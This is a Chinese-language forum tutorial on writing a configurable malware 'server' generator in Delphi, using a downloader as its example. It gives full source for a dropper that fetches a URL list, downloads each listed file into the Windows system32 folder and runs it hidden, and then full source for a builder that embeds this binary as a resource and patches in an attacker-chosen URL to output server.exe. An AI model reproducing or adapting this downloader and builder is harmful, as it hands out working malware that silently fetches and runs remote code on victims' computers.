最近在学习服务端文件的生成,相信有不少朋友也在学这个吧。下面就说一说个人的体会并介绍一种新的方法来生成服务端(超简单!) 好了下面开始 首先说一下服务端文件生成的思路: 1.把服务端文件编译成资源文件 2.在程序中导入资源文件并接受用户的配置信息 3.查找修改地址并写入配置信息 4.生成服务端文件
好了 过程就是这些 下面让我们来实现他吧。
首先写好我们的原始服务端 这里我们来写一个下载者为例。取名为down.exe 下面是源代码:
以下是代码片段: Copy code
program down;
uses SysUtils,urlmon,strutils,windows; function DownloadFile(Source, Dest: string): Boolean; begin try Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0; except Result := False; end; end;
const f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; var file1:textfile; s,a:string; begin downloadfile(f,'c:\windows\system32\atlog.txt'); assignfile(file1,'c:\windows\system32\atlog.txt'); reset(file1); while not eof(file1) do begin readln(file1,s); downloadfile(s,'c:\windows\system32\'+rightstr(s,8)); a:='c:\windows\system32\'+rightstr(s,8); winexec(pchar(a),sw_hide); end; end.
这是一个支持多文件下载的服务端 具体代码我就不分析了 大家自己理解 很简单的。。。。 要注意的是
以下是代码片段: Copy code
const f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
f 是等待用户来配置的变量 我们把它定义为50个x 这样在修改时好定位 这里x的个数关系到用户能够输入信息的长度 所以要定义足够多的x啊 免得后面不够用了。 好了 把它编译为down.exe 下面我们来找xxxxxxxxxx。的地址。
打开十六进制编辑器 搜索xxxxx 找到的那个地址就是了 我们这里是54012 (delphi2005编译) 然后新建一个文本文件 写入如下代码
以下是代码片段: Copy code
downman RCDATA down.exe 保存为downman.rc ok 下面把它编译成资源文件 brcc32.exe downman.rc 这样我们就得到了一个名为downman.res的资源文件
好 把它拷贝到我们的编程目录。 新建一个工程。 建立全局变量
以下是代码片段: Copy code
const offset_url:integer= 54012
在{$R *.dfm}下面加上{$r downman.res} 这样我们就在程序中加入了资源文件了 下面我们来看看普通的程序写法。
以下是代码片段: Copy code
procedure TForm1.Button1Click(Sender: TObject); var url:string; WriteBuff, ziyuanzhizhen: PChar; ziyuanweizhi: HRSRC; ziyuandaxiao, BytesWritten: Longword; shujuchulijubing: THandle; shenqingzhizhen: THandle; begin url:=trim(edit1.Text); if url<>'' then begin ziyuanweizhi := FindResource(HInstance, 'downman', RT_RCDATA); ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi); shujuchulijubing := LoadResource(HInstance, ziyuanweizhi); ziyuanzhizhen := LockResource(shujuchulijubing); shenqingzhizhen := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil); Sleep(100); SetFilePointer(shenqingzhizhen, OFFSET_url, nil, FILE_BEGIN); WriteBuff := PChar(url + StringOfChar(#0, 50 - Length(url))); WriteFile(shenqingzhizhen, WriteBuff^, 50, BytesWritten, nil); CloseHandle(shenqingzhizhen); end else showmessage('请输入配置文件的地址!!'); end;
代码我就不解释了 网上有好多。 是不是看的头晕晕的。呵呵 俺也一样。 下面就给大家介绍一种新方法(俺自己想的。) 首先 把资源文件提取出来并保存到流 s 里面
以下是代码片段: Copy code
procedure TForm3.restostream; var Res : TResourceStream; begin s:=tmemorystream.Create; Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA); Res.SaveToStream(s); Res.Free; end; s 是一个TMEMORYSTREAM 在public 申明一下就行了
好完成第一步了 下面我们用流来检索并修改。
以下是代码片段: Copy code
procedure TForm3.Button1Click(Sender: TObject); var buffer:pchar; url:string; begin url:=trim(edit1.Text); buffer:=pchar(url+stringofchar(#0,50-length(url))); restostream; s.Seek(offset_url,sofrombeginning); s.WriteBuffer(buffer^,50); s.SaveToFile('server1.exe'); s.Free; end;
url 就是我们用户要输入的。 buffer 是用来填充前面说的f (xxxxxxxx) 这样我们的服务端就生成完毕了。简单吧。
好 下面给出完整的程序供大家参考。
以下是代码片段: Copy code
unit Unit3;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; const offset_url:integer=54012; type TForm3 = class(TForm) Edit1: TEdit; Button1: TButton; Label1: TLabel; procedure restostream; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } s:tmemorystream; end;
var Form3: TForm3;
implementation
{$R *.dfm} {$r downman.res}
procedure TForm3.Button1Click(Sender: TObject); var buffer:pchar; url:string; begin url:=trim(edit1.Text); buffer:=pchar(url+stringofchar(#0,50-length(url))); restostream; s.Seek(offset_url,sofrombeginning); s.WriteBuffer(buffer^,50); s.SaveToFile('server1.exe'); s.Free; end;
procedure TForm3.restostream; var Res : TResourceStream; begin s:=tmemorystream.Create; Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA); Res.SaveToStream(s); Res.Free; end; end. |